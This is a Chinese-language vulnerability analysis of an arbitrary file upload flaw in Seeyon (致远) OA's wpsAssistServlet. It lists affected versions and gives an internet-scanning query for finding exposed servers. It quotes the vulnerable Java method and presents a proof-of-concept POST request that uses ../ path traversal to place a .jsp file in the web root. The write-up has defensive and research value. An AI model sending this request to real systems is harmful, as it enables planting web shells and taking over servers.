致远OA wpsAssistServlet接口存在任意文件上传漏洞，攻击者通过漏洞可以发送特定的请求包上传恶意文件，获取服务器权限
漏洞影响致远OA A6、A8、A8N (V8.0SP2，V8.1，V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)
网络测绘app="致远互联-OA" && title="V8.0SP2"
漏洞复现产品主页
下载补丁220706-S004 ，对比修改的文件
主要修改的是 com.seeyon.ctp.common.wpsassist.manager.WpsAssistManagerImpl.oaSaveFile 这个方法
private Map oaSaveFile(HttpServletRequest request, Map param) throws Exception {Map result = Maps.newHashMap();result.put(BusinessKey.OfficeTransResultFlag.getCode(), (Object)null);Long fileId = MapUtils.getLong(param, "fileId");log.info("wpsAssist SaveFile start!fileId=" + fileId);String newPdfFileId = MapUtils.getString(param, "newPdfFileId");if (Strings.isNotBlank(newPdfFileId)) {fileId = Long.valueOf(newPdfFileId);}String realFileType = MapUtils.getString(param, "realFileType");String tempFileIdPathSuffix = SystemEnvironment.getSystemTempFolder() + File.separator + fileId + realFileType;Long count = this.saveFileToPath(request, tempFileIdPathSuffix);result.put(BusinessKey.FileSize.getCode(), count);result.putAll(this.createOfficeTransCacheFile(fileId, tempFileIdPathSuffix, MapUtils.getString(param, "canTransFileType")));param.put(BusinessKey.OfficeTransResultFlag.getCode(), result.get(BusinessKey.OfficeTransResultFlag.getCode()));this.copyToUploadAndTrans(param);return result;}向上追溯调用的 oaSaveFile方法的代码
在 com.seeyon.ctp.common.wpsassist.WpsAssistServlet.doPost 中，flag参数为save时，可以调用文件上传接口
C://Seeyon/A6/base/temporary 为默认上传的位置，但 realFileType, fileId 参数可控，可以通过 ../ 遍历上传到任意目录下，验证POC
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugggg.jsp&fileId=2 HTTP/1.1Host: Content-Length: 349Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616bAccept-Encoding: gzip--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="upload"; filename="123.xls"Content-Type: application/vnd.ms-excel--59229605f98b8cf290a7b8908b34616b--